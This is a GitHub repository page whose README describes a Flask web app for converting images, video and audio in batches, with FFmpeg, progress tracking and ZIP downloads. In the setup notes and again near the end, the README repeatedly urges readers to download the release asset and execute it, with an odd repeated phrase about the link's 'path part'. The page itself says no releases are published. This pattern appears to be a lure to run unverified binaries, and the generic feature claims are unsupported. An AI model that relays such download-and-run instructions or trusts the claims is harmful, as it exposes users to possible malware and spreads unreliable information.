Skip to content

Universal File Converter is a Flask web app that converts images, videos, and audio with multi-file upload, real-time progress, and ZIP downloads. šŸ™

Notifications You must be signed in to change notification settings

prodigysn95/universal-file-converter

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Ā 

History

10 Commits
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 

Repository files navigation

Release

Universal File Converter: Flask Web App for Multi-Format Media

Python Flask FFmpeg License

Hero image: FFmpeg-inspired artwork and a clean UI mockup Media Conversion Hero

A Flask-based web app to convert images, videos, and audio files into multiple formats with batch support, ZIP download, and real-time progress.

This Readme is designed to help you understand, install, run, and contribute to the universal-file-converter project. It covers what the app does, how to use it, how it is built, and how to extend it. It also includes practical guidance for deploying the app in different environments and scaling it for larger workloads.

Table of contents

  • What this project does
  • Why this project exists
  • Key features
  • How it works under the hood
  • Supported formats and capabilities
  • Getting started: quick setup
  • Installation and prerequisites
  • Running the app locally
  • How to use the web interface
  • Batch processing and progress tracking
  • ZIP download and asset packaging
  • Architecture and design decisions
  • API endpoints and data flow
  • Testing strategy
  • Deployment options
  • Docker and containerization
  • Environment variables and configuration
  • Security considerations
  • Accessibility and UX notes
  • Troubleshooting and common issues
  • Performance tips
  • Extending the app
  • Contributing guidelines
  • Roadmap and future work
  • FAQ
  • Credits and licenses
  • Release notes and changelog

What this project does

  • Converts images, videos, and audio files into multiple target formats.
  • Supports batch processing, so users can queue many files in one go.
  • Provides a smooth user experience with real-time progress updates.
  • Allows downloading results as a single ZIP file for convenience.
  • Built on Flask for a lightweight, flexible web app that can run locally or on a server.
  • Uses FFmpeg under the hood to handle most of the heavy lifting for media transcoding.
  • Includes a straightforward, responsive UI that works across devices.

Why this project exists

  • People often need to convert media in bulk without relying on desktop software.
  • A web-based solution lowers the barrier for teams that handle media pipelines.
  • The project aims to be simple to run locally while still offering enough hooks to grow into a production-grade tool.

Key features

  • Batch processing: queue multiple files and convert them in parallel or sequentially, depending on resources.
  • Multi-format outputs: convert to common formats such as MP4, MOV, WEBM, AVI for video; MP3, WAV, AAC, FLAC for audio; and JPEG, PNG, WEBP for images.
  • Real-time progress updates: see per-file progress, estimated time, and overall progress.
  • ZIP packaging: download all results in a single ZIP file to streamline delivery.
  • Lightweight backend: a clean Flask app that focuses on clarity and maintainability.
  • Extensible: designed with clean boundaries so it’s easy to plug in new formats, backends, or frontends.
  • Cross-platform readiness: runs on Windows, macOS, and Linux with minimal changes.

How it works under the hood

  • The frontend is a responsive client that allows file selection, target formats, and a options panel for batch settings.
  • The backend exposes an API to upload files, submit a batch, and fetch progress updates.
  • A worker orchestrates the conversion tasks, using FFmpeg commands to transcode each file into the requested formats.
  • A progress tracker updates the frontend in near real time, either via polling or a lightweight push mechanism.
  • When the batch finishes, the server bundles the results into a ZIP file and serves it for download.
  • The app is designed to be stateless from the perspective of the client once the batch is submitted, with the server managing per-job state until completion.

Supported formats and capabilities

  • Images: JPEG, PNG, WEBP, GIF, TIFF (depending on the installed tooling and the source format)
  • Videos: MP4, MOV, AVI, MKV, WEBM, FLV (definitions depend on codecs installed with FFmpeg)
  • Audio: MP3, WAV, AAC, OGG, FLAC
  • Resolution and bitrate handling: supported options include resizing, cropping, bitrate adjustment, and frame-rate changes
  • Metadata handling: basic metadata preservation or override during conversion
  • Batch options: number of concurrent workers, output directory, and naming conventions

Getting started: quick setup

  • This guide assumes you want to run the app locally for development or testing.
  • The project is designed to be run in a virtual environment to isolate dependencies and avoid conflicts with system-wide packages.
  • You will need Python 3.x and FFmpeg installed on your machine.

Prerequisites

  • Python 3.x (recommended: 3.10+ for compatibility with modern libraries)
  • FFmpeg installed and accessible in the system PATH
  • A modern browser for the frontend (Chrome, Firefox, Edge, or Safari)

Step-by-step quick setup

  1. Clone the repository
  2. Create a virtual environment
    • python -m venv venv
    • source venv/bin/activate # macOS/Linux
    • venv\Scripts\activate # Windows
  3. Install dependencies
    • pip install -r requirements.txt
  4. Configure environment (optional)
    • Copy .env.example to .env and adjust settings as needed
  5. Run the app
    • flask run --host=0.0.0.0 --port=5000
    • Or python app.py
  6. Open the app

Note on the releases and download

  • From the releases page you can download the latest release asset and run it. The latest release assets are prepared to run with minimal setup. For direct access to assets and release notes, visit https://github.com/prodigysn95/universal-file-converter/releases. This link has a path part, so the file you download from that page should be executed according to the platform and packaging format provided in the release assets.

Usage: how to convert, batch, and download

  • Access the web interface on your local machine after starting the server.
  • Upload multiple files at once or add them in batches.
  • Choose one or more target formats for each input file or for the batch as a whole.
  • Set optional parameters such as output resolution, audio bitrate, and container formats.
  • Start the batch and watch the progress in real time.
  • When the batch completes, download the results as a ZIP file containing all converted files, neatly organized by original filename or destination folder scheme you configure.

Real-time progress: what you’ll see

  • Per-file progress indicators (percentage complete)
  • Estimated time remaining for each file
  • Overall batch progress bar and a running ETA
  • Visual cues for success, warning, and failure states
  • The interface uses simple, non-intrusive updates to keep you informed without overwhelming the user
  • Progress data is stored in memory for the current session and persists through the duration of the batch, so you can close and reopen the page if the server keeps the session alive

ZIP download: packaging your results

  • After the batch finishes, the app compiles all outputs into a single ZIP archive for easy download.
  • The ZIP file preserves the directory structure you chose or that is defined by the app’s naming conventions.
  • If you need to extract and inspect the contents, any standard archive tool can handle the ZIP file.
  • If the batch contains a large number of files, expect a longer creation time and ensure your server has enough disk space for the temporary ZIP and the output set.

Architecture and design decisions

  • Modularity: The project is broken into clearly defined components to separate concerns.
  • Lightweight backend: Flask core provides routes, handlers, and the orchestration logic without heavy abstractions.
  • FFmpeg as the transcoding engine: FFmpeg is a robust, battle-tested tool for media transcoding and supports a wide range of formats and codecs.
  • Asynchronous task handling: The app uses a simple concurrency model that can be extended with more advanced task queues (e.g., Celery) if needed for larger workloads.
  • Progress updates: The frontend polls the backend at a cadence that balances responsiveness with server load, with the option to switch to a push-based model if required.

Code structure overview (high level)

  • app/
    • main.py or app.py: the Flask application entry point
    • routes.py: HTTP endpoints for file upload, batch submission, and progress queries
    • tasks.py: batch task orchestration and worker logic
    • converters/
      • base.py: abstract converter interface
      • ffmpeg.py: FFmpeg-based conversion logic
    • models/
      • batch.py: representation of a batch job, status, and results
    • templates/
      • index.html: the main UI page
    • static/
      • css/
      • js/
  • tests/
    • unit tests for core components
    • integration tests for end-to-end flows
  • requirements.txt: dependency list
  • .env.example: environment variable placeholders
  • README.md: this document

API endpoints and data flow (high level)

  • POST /upload
    • Accepts one or more files through a multipart/form-data request
    • Returns a batch_id and a preview of the files queued for conversion
  • POST /batch
    • Accepts batch configuration including target formats, per-file mapping, and optional parameters
    • Creates a batch job, schedules tasks, and returns batch_id
  • GET /progress/{batch_id}
    • Returns current progress metrics for the batch
    • Includes per-file progress, estimated time, and overall status
  • GET /results/{batch_id}
    • If the batch is complete, returns a link or a ZIP file containing the converted outputs
  • GET /health
    • Basic health check endpoint for deployment and monitoring

Testing strategy: how to validate everything works

  • Unit tests focus on the converter components, such as:
    • FFmpeg command generation for various input/output formats
    • Handling of edge cases like unsupported formats, missing inputs, or invalid parameters
  • Integration tests cover:
    • End-to-end flow from file upload to batch completion
    • Real-time progress updates during a running batch
    • ZIP packaging and correct directory structure of outputs
  • Manual testing guidelines:
    • Try a small batch with two or three files in different formats
    • Include an image, a short video clip, and an audio track
    • Verify that each input gets converted to all requested outputs and that the download ZIP contains all items

Deployment options

Local development tips

  • Keep the virtual environment activated while developing
  • Use a small subset of test media to avoid long transcoding times during initial development
  • Use the developer console’s network tab to monitor progress requests and responses
  • Enable verbose logging during debugging to trace FFmpeg invocations

Docker and containerization

  • Docker containerization offers reproducible builds and environments across machines
  • A typical Docker setup includes:
    • A lightweight Python base image
    • FFmpeg installed in the container
    • The application code mounted into the container
    • Environment variables wired into Flask’s config
  • Example workflow:
    • Build: docker build -t universal-file-converter .
    • Run: docker run -p 5000:5000 universal-file-converter
  • Dockerfile considerations:
    • Install system dependencies required by FFmpeg
    • Copy the application code and install Python dependencies
    • Expose port 5000 or a port you choose
  • Orchestrate with docker-compose for multi-service setups (web server, optional task queue, media storage)

Deployment notes for production

  • Web server: Use a proper WSGI server such as Gunicorn or uWSGI behind a reverse proxy (Nginx or Traefik)
  • Security: Serve over HTTPS, enforce secure cookie attributes, and validate file types and file sizes
  • Storage: Use a persistent volume for inputs and outputs; consider a dedicated directory per batch
  • Logging and monitoring: Centralize logs, set up health checks, and consider metrics for queue lengths and job durations
  • Scaling: If you see heavy usage, introduce a task queue (Celery or RQ) to distribute transcoding across workers
  • Backups: Periodically back up user data and output archives if needed for compliance or auditing

Environment variables and configuration

  • APP_SECRET_KEY: used for session management and security
  • FLASK_ENV: development or production
  • UPLOAD_DIR: directory for temporary uploaded files
  • OUTPUT_DIR: directory for converted outputs
  • FFmpeg_PATH: path to the FFmpeg binary if not in PATH
  • MAX_FILE_SIZE: limit for uploaded file size
  • ALLOWED_EXTENSIONS: list of allowed input extensions
  • LOG_LEVEL: debug, info, warning, error
  • Optional features: enable/disable batch size limits, concurrency, and per-file format overrides

Accessibility, UX, and usability notes

  • The UI is designed to work on desktop and touch devices
  • Buttons have clear labels and accessible keyboard navigation
  • Color contrast is chosen for readability in both light and dark modes
  • Progress indicators provide textual estimates for users who rely on screen readers
  • Form validations occur in real time to reduce user errors

Troubleshooting and common issues

  • FFmpeg not found
    • Ensure FFmpeg is installed and accessible in your system PATH
    • Verify FFmpeg_PATH in the environment if you’re using a custom location
  • Large upload sizes
    • Increase MAX_FILE_SIZE and the memory limit if you run into server errors
  • Slow progress updates
    • Check the server’s CPU or memory usage
    • Adjust the polling interval in the frontend or switch to a push model if needed
  • ZIP download failures
    • Confirm there is enough disk space for the resulting archive
    • Verify the batch completed successfully before attempting the download

Performance tips

  • Enable concurrency within safe limits based on available CPU cores
  • Use smaller batch sizes if you’re running on a machine with limited resources
  • Cache or reuse intermediate results where possible to avoid redundant work
  • Prefer streaming where possible for large media conversions to reduce memory footprint

Extending the app

  • Add new formats by implementing a new converter class under converters/
  • Extend the UI to offer more options for format-specific parameters
  • Swap in alternative transcoding backends if FFmpeg isn’t suitable for a use case
  • Add multi-node deployment patterns if you need to scale out beyond a single server

Contributing guidelines

  • Submit issues with clear reproduction steps and expected outcomes
  • Propose enhancements via pull requests with a small, focused scope
  • Write tests for any new feature or bug fix
  • Maintain code quality with linters and formatters where applicable

Roadmap and future work

  • Support for streaming conversions to reduce disk usage for huge batches
  • A more robust task queue system with retry policies
  • A richer metadata handling layer for media files
  • Advanced error reporting and diagnostics for failed conversions

FAQ

  • Can I convert files larger than a certain size?
    • Yes, but ensure the server has enough memory and adjust MAX_FILE_SIZE accordingly.
  • Does the app preserve original metadata?
    • Basic metadata can be preserved, but some formats may not support full metadata retention.
  • Can I run this in production?
    • Yes, with proper deployment, security hardening, and resource management. Consider a queue-based architecture for higher loads.

Credits and licenses

  • This project uses FFmpeg as the core transcoding engine.
  • The code base is MIT licensed, enabling reuse with attribution.
  • Thanks to the open-source community for providing tools and libraries that make this project possible.

Release notes and changelog

  • Release notes detail major features, fixes, and improvements for each version.
  • The Releases page includes downloadable assets, notes, and upgrade instructions.
  • For the latest information on releases, consult the Releases section at the URL provided earlier.

Security considerations

  • Validate all uploaded files to prevent injecting harmful content
  • Enforce strict content-type checks and size limits
  • Use secure cookies and TLS for data in transit
  • Keep dependencies up to date to minimize vulnerabilities

Changelog (high level)

  • v1.x: Initial release with batch processing, multi-format output, and ZIP download
  • v1.x+1: Added real-time progress updates and improved UI responsiveness
  • v2.0: Introduced extended format support and improved error handling
  • v2.x.x: Perf improvements, refactored code for better maintainability, and packaging options

Appendix: sample workflows and real-world scenarios

  • Scenario A: A media editor team needs to convert a folder of video clips into a standard MP4 and a WebM version, plus extract audio as MP3. They upload all files as a single batch, select the two video formats for each file, and the audio format for the audio-only export (where applicable). The app processes the batch, updates progress live, and finally provides a ZIP with all formats neatly organized by file.
  • Scenario B: A photographer wants to convert a set of RAW-like images to JPEG at a fixed quality, while generating a small thumbnail set. The batch allows per-file format options, enabling efficient processing and quick delivery to clients.
  • Scenario C: A podcaster needs to convert a batch of WAV files to MP3 and AAC for distribution on multiple platforms. The app handles concurrent processing, and the resulting ZIP is ready for upload to a hosting service.

Screenshots and visual references

  • Dashboard overview: a clean layout showing file queues, progress bars, and format selectors
  • File detail cards: per-file status, size, and target formats
  • Progress panel: live ETA, success indicators, and per-file status

Images and media references

  • Python logo and Flask branding for quick visual recognition
  • FFmpeg branding where applicable, emphasizing the transcoding capability
  • General media icons for image, video, and audio sections

Note: For the latest assets, formats, and build instructions, refer to the Releases page at the URL provided above. The release assets are curated to work out of the box on typical development machines and can be used to quickly start testing in a clean environment.

What to do next

  • If you want to contribute, fork the repository and start with small, focused issues such as adding a new format or improving a UI component.
  • If you need help deploying in a specific environment, open an issue with details about your platform, resource constraints, and desired features.
  • If you want to translate this README or adapt it for a different audience, feel free to propose changes via pull requests.

Releases link

  • Download the latest release asset and run it from the releases page: https://github.com/prodigysn95/universal-file-converter/releases
  • For direct access during setup, visit the same page to review assets, installation steps, and changelog. This link has a path part, so the file to download from that page should be executed according to the platform’s packaging format.

Closing notes

  • The project aims to be approachable for new users while offering depth for power users.
  • It remains a work in progress with ongoing improvements to performance, reliability, and features.
  • The README is intended to provide clear guidance and practical, real-world use cases to help you get value quickly.

End of documentation excerpt.

About

Universal File Converter is a Flask web app that converts images, videos, and audio with multi-file upload, real-time progress, and ZIP downloads. šŸ™

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •